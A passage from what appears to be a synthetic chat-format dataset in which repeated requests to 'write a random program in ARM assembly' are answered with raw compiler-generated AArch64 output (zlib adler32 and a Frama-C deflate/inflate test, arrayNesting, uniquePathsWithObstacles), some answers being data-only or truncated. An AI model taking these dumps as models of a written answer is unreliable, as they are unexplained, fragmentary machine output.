ldr w0, [sp, 12]
sub w0, w0, #1
str w0, [sp, 12]
ldr w0, [sp, 44]
cmp w0, 0
beq .L2194
ldr x0, [sp, 16]
str x0, [sp, 72]
ldr x0, [sp, 16]
add x0, x0, 1
str x0, [sp, 16]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
b .L2177
.L2194:
nop
ldr x1, [sp, 24]
mov x0, 65520
cmp x1, x0
bls .L2178
ldr x1, [sp, 24]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 24]
.L2178:
ldr x1, [sp, 56]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 56]
lsl x0, x0, 16
ldr x1, [sp, 24]
orr x0, x1, x0
str x0, [sp, 48]
b .L2172
.L2183:
ldr w1, [sp, 12]
mov w0, -5552
add w0, w1, w0
str w0, [sp, 12]
mov w0, 347
str w0, [sp, 36]
.L2182:
ldr x0, [sp, 16]
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 1
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 2
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 3
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 4
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 5
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 6
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 7
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 8
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 9
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 10
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 11
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 12
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 13
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 14
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 15
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 16
str x0, [sp, 16]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
beq .L2195
b .L2182
.L2195:
nop
ldr x1, [sp, 24]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 56]
.L2179:
ldr w1, [sp, 12]
mov w0, 5551
cmp w1, w0
bhi .L2183
ldr w0, [sp, 12]
cmp w0, 0
beq .L2184
b .L2185
.L2186:
ldr w0, [sp, 12]
sub w0, w0, #16
str w0, [sp, 12]
ldr x0, [sp, 16]
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 1
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 2
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 3
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 4
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 5
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 6
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 7
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 8
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 9
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 10
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 11
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 12
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 13
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 14
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 15
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
add x0, x0, 16
str x0, [sp, 16]
.L2185:
ldr w0, [sp, 12]
cmp w0, 15
bhi .L2186
.L2189:
ldr w0, [sp, 12]
str w0, [sp, 40]
ldr w0, [sp, 12]
sub w0, w0, #1
str w0, [sp, 12]
ldr w0, [sp, 40]
cmp w0, 0
beq .L2196
ldr x0, [sp, 16]
str x0, [sp, 64]
ldr x0, [sp, 16]
add x0, x0, 1
str x0, [sp, 16]
ldr x0, [sp, 64]
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
b .L2189
.L2196:
nop
ldr x1, [sp, 24]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 56]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 56]
.L2184:
ldr x0, [sp, 56]
lsl x0, x0, 16
ldr x1, [sp, 24]
orr x0, x1, x0
str x0, [sp, 48]
.L2172:
ldr x0, [sp, 48]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE130:
.size adler32, .-adler32
.align 2
.type adler32_combine_, %function
adler32_combine_:
.LFB131:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr w0, [sp, 12]
mov w1, 32881
movk w1, 0x8007, lsl 16
umull x1, w0, w1
lsr x1, x1, 32
lsr w2, w1, 15
mov w1, 65521
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 12]
ldr w0, [sp, 12]
str w0, [sp, 36]
ldr x0, [sp, 24]
and x0, x0, 65535
str x0, [sp, 40]
ldr w0, [sp, 36]
ldr x1, [sp, 40]
mul x0, x1, x0
str x0, [sp, 48]
ldr x1, [sp, 48]
mov x0, 50637
movk x0, 0xd2f, lsl 16
movk x0, 0xe1, lsl 32
movk x0, 0xf, lsl 48
umulh x0, x1, x0
sub x2, x1, x0
lsr x2, x2, 1
add x0, x0, x2
lsr x2, x0, 15
mov x0, x2
lsl x0, x0, 12
sub x0, x0, x2
lsl x0, x0, 4
add x0, x0, x2
sub x0, x1, x0
str x0, [sp, 48]
ldr x0, [sp, 16]
and x1, x0, 65535
ldr x0, [sp, 40]
add x1, x1, x0
mov x0, 65520
add x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 24]
lsr x0, x0, 16
and x1, x0, 65535
ldr x0, [sp, 16]
lsr x0, x0, 16
and x0, x0, 65535
add x1, x1, x0
ldr w0, [sp, 36]
sub x1, x1, x0
ldr x0, [sp, 48]
add x1, x1, x0
mov x0, 65521
add x0, x1, x0
str x0, [sp, 48]
ldr x1, [sp, 40]
mov x0, 65520
cmp x1, x0
bls .L2198
ldr x1, [sp, 40]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 40]
.L2198:
ldr x1, [sp, 40]
mov x0, 65520
cmp x1, x0
bls .L2199
ldr x1, [sp, 40]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 40]
.L2199:
ldr x1, [sp, 48]
mov x0, 65505
movk x0, 0x1, lsl 16
cmp x1, x0
bls .L2200
ldr x1, [sp, 48]
mov x0, -65506
movk x0, 0xfffe, lsl 16
add x0, x1, x0
str x0, [sp, 48]
.L2200:
ldr x1, [sp, 48]
mov x0, 65520
cmp x1, x0
bls .L2201
ldr x1, [sp, 48]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 48]
.L2201:
ldr x0, [sp, 48]
lsl x0, x0, 16
ldr x1, [sp, 40]
orr x0, x1, x0
str x0, [sp, 56]
.L2202:
ldr x0, [sp, 56]
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE131:
.size adler32_combine_, .-adler32_combine_
.align 2
.global adler32_combine
.type adler32_combine, %function
adler32_combine:
.LFB132:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl adler32_combine_
str x0, [sp, 56]
ldr x0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE132:
.size adler32_combine, .-adler32_combine
.align 2
.global adler32_combine64
.type adler32_combine64, %function
adler32_combine64:
.LFB133:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl adler32_combine_
str x0, [sp, 56]
ldr x0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE133:
.size adler32_combine64, .-adler32_combine64
.global my_strm
.bss
.align 3
.type my_strm, %object
.size my_strm, 112
my_strm:
.zero 112
.global strm_c
.align 3
.type strm_c, %object
.size strm_c, 112
strm_c:
.zero 112
.global in_buffer
.data
.align 3
.type in_buffer, %object
.size in_buffer, 50
in_buffer:
.string "a man, a manifold, a banana, a banana. Panama."
.string ""
.zero 2
.global ret
.bss
.align 2
.type ret, %object
.size ret, 4
ret:
.zero 4
.global flush
.align 2
.type flush, %object
.size flush, 4
flush:
.zero 4
.text
.align 2
.global memcpy
.type memcpy, %function
memcpy:
.LFB134:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 16]
str x0, [sp, 40]
ldr w0, [sp, 12]
ldr x1, [sp, 16]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 24]
str x0, [sp, 48]
b .L2209
.L2210:
ldr x0, [sp, 40]
ldrb w1, [x0]
ldr x0, [sp, 48]
strb w1, [x0]
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 48]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L2209:
ldr x1, [sp, 40]
ldr x0, [sp, 56]
cmp x1, x0
bne .L2210
ldr x0, [sp, 24]
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE134:
.size memcpy, .-memcpy
.align 2
.global memset
.type memset, %function
memset:
.LFB135:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
ldr x0, [sp, 8]
str x0, [sp, 32]
.L2215:
ldr w0, [sp]
str w0, [sp, 28]
ldr w0, [sp]
sub w0, w0, #1
str w0, [sp]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2218
ldr x0, [sp, 32]
str x0, [sp, 40]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr w0, [sp, 4]
and w1, w0, 255
ldr x0, [sp, 40]
strb w1, [x0]
b .L2215
.L2218:
nop
ldr x0, [sp, 8]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE135:
.size memset, .-memset
.align 2
.global malloc
.type malloc, %function
malloc:
.LFB136:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2220
ldr w0, [sp, 28]
bl Frama_C_alloc_size
str w0, [sp, 36]
ldrsw x0, [sp, 36]
str x0, [sp, 40]
b .L2221
.L2220:
str xzr, [sp, 40]
nop
.L2221:
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE136:
.size malloc, .-malloc
.align 2
.global check
.type check, %function
check:
.LFB137:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE137:
.size check, .-check
.section .rodata
.align 3
.LC37:
.string "unsigned char deflated_buffer[] = { /* iv */"
.align 3
.LC38:
.string " %d, /* iv */\n"
.align 3
.LC39:
.string "}; /* iv */"
.align 3
.LC40:
.string "unsigned int deflated_size = %d; /* iv */"
.text
.align 2
.global main
.type main, %function
main:
.LFB138:
.cfi_startproc
sub sp, sp, #656
.cfi_def_cfa_offset 656
stp x29, x30, [sp]
.cfi_offset 29, -656
.cfi_offset 30, -648
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 648]
mov x1, 0
adrp x0, strm_c
add x0, x0, :lo12:strm_c
str xzr, [x0, 64]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
str xzr, [x0, 72]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
str xzr, [x0, 80]
mov w3, 112
adrp x0, .LC1
add x2, x0, :lo12:.LC1
mov w1, 6
adrp x0, strm_c
add x0, x0, :lo12:strm_c
bl deflateInit_
mov w1, w0
adrp x0, ret
add x0, x0, :lo12:ret
str w1, [x0]
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
cmp w0, 0
beq .L2226
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
str w0, [sp, 24]
b .L2227
.L2226:
adrp x0, strm_c
add x0, x0, :lo12:strm_c
mov w1, 300
str w1, [x0, 32]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
add x1, sp, 40
str x1, [x0, 24]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
mov w1, 50
str w1, [x0, 8]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
adrp x1, in_buffer
add x1, x1, :lo12:in_buffer
str x1, [x0]
mov w1, 4
adrp x0, strm_c
add x0, x0, :lo12:strm_c
bl deflate
mov w1, w0
adrp x0, ret
add x0, x0, :lo12:ret
str w1, [x0]
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
cmn w0, #2
bne .L2228
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
str w0, [sp, 24]
b .L2227
.L2228:
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl Frama_C_printf
add x0, sp, 40
str x0, [sp, 32]
b .L2229
.L2230:
ldr x0, [sp, 32]
ldrb w0, [x0]
mov w1, w0
adrp x0, .LC38
add x0, x0, :lo12:.LC38
bl Frama_C_printf
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
.L2229:
adrp x0, strm_c
add x0, x0, :lo12:strm_c
ldr x0, [x0, 24]
ldr x1, [sp, 32]
cmp x1, x0
bcc .L2230
adrp x0, .LC39
add x0, x0, :lo12:.LC39
bl Frama_C_printf
adrp x0, strm_c
add x0, x0, :lo12:strm_c
ldr x1, [x0, 24]
add x0, sp, 40
sub x0, x1, x0
mov x1, x0
adrp x0, .LC40
add x0, x0, :lo12:.LC40
bl Frama_C_printf
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str xzr, [x0, 64]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str xzr, [x0, 72]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str xzr, [x0, 80]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str wzr, [x0, 8]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str xzr, [x0]
mov w2, 112
adrp x0, .LC1
add x1, x0, :lo12:.LC1
adrp x0, my_strm
add x0, x0, :lo12:my_strm
bl inflateInit_
mov w1, w0
adrp x0, ret
add x0, x0, :lo12:ret
str w1, [x0]
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
cmp w0, 0
beq .L2231
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
str w0, [sp, 24]
b .L2227
.L2231:
adrp x0, my_strm
add x0, x0, :lo12:my_strm
add x1, sp, 40
str x1, [x0]
adrp x0, strm_c
add x0, x0, :lo12:strm_c
ldr x1, [x0, 24]
add x0, sp, 40
sub x0, x1, x0
mov w1, w0
adrp x0, my_strm
add x0, x0, :lo12:my_strm
str w1, [x0, 8]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
add x1, sp, 344
str x1, [x0, 24]
adrp x0, my_strm
add x0, x0, :lo12:my_strm
mov w1, 300
str w1, [x0, 32]
mov w1, 4
adrp x0, my_strm
add x0, x0, :lo12:my_strm
bl inflate
mov w1, w0
adrp x0, ret
add x0, x0, :lo12:ret
str w1, [x0]
bl Frama_C_dump_each
adrp x0, ret
add x0, x0, :lo12:ret
ldr w0, [x0]
cmp w0, 1
cset w0, eq
and w0, w0, 255
bl check
str wzr, [sp, 28]
b .L2232
.L2233:
adrp x0, in_buffer
add x1, x0, :lo12:in_buffer
ldrsw x0, [sp, 28]
ldrb w1, [x1, x0]
ldrsw x0, [sp, 28]
add x2, sp, 344
ldrb w0, [x2, x0]
cmp w1, w0
cset w0, eq
and w0, w0, 255
bl check
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L2232:
ldr w0, [sp, 28]
cmp w0, 49
ble .L2233
adrp x0, my_strm
add x0, x0, :lo12:my_strm
ldr x0, [x0, 40]
cmp x0, 50
cset w0, eq
and w0, w0, 255
bl check
str wzr, [sp, 24]
.L2227:
ldr w0, [sp, 24]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 648]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L2235
bl __stack_chk_fail
.L2235:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 656
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE138:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.local ok1
.comm ok1,4,4
.local bad1
.comm bad1,4,4
.data
.align 2
.type ok2, %object
.size ok2, 4
ok2:
.word 1
.align 2
.type bad2, %object
.size bad2, 4
bad2:
.word 2
.local ok3
.comm ok3,4,4
.local bad3
.comm bad3,4,4
.align 2
.type ok4, %object
.size ok4, 4
ok4:
.word 1
.align 2
.type bad4, %object
.size bad4, 4
bad4:
.word 1
.local ok5
.comm ok5,4,4
.local bad5
.comm bad5,4,4
.local ok6
.comm ok6,4,4
.local bad6
.comm bad6,4,4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global arrayNesting
.type arrayNesting, %function
arrayNesting:
.LFB6:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 28]
str wzr, [sp, 32]
b .L2
.L6:
ldr w0, [sp, 32]
str w0, [sp, 36]
str wzr, [sp, 40]
b .L3
.L4:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 44]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
mov w1, -1
str w1, [x0]
ldr w0, [sp, 44]
str w0, [sp, 36]
.L3:
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
cmn w0, #1
bne .L4
ldr w1, [sp, 28]
ldr w0, [sp, 40]
cmp w1, w0
bge .L5
ldr w0, [sp, 40]
str w0, [sp, 28]
.L5:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w1, [sp, 32]
ldr w0, [sp, 4]
cmp w1, w0
blt .L6
ldr w0, [sp, 28]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size arrayNesting, .-arrayNesting
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global uniquePathsWithObstacles
.type uniquePathsWithObstacles, %function
uniquePathsWithObstacles:
.LFB0:
.cfi_startproc
mov x12, 40048
sub sp, sp, x12
.cfi_def_cfa_offset 40048
stp x29, x30, [sp]
.cfi_offset 29, -40048
.cfi_offset 30, -40040
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 32768
ldr x2, [x0]
str x2, [x1, 7272]
mov x2, 0
str wzr, [sp, 32]
b .L2
.L10:
str wzr, [sp, 36]
b .L3
.L9:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
cmp w0, 1
bne .L4
ldrsw x2, [sp, 36]
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
str wzr, [x1, x0]
b .L5
.L4:
ldr w0, [sp, 36]
cmp w0, 0
bne .L6
ldr w0, [sp, 32]
cmp w0, 0
bne .L6
ldrsw x2, [sp, 36]
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
mov w2, 1
str w2, [x1, x0]
b .L5
.L6:
ldr w0, [sp, 36]
cmp w0, 0
bne .L7
ldr w0, [sp, 32]
sub w0, w0, #1
ldrsw x2, [sp, 36]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
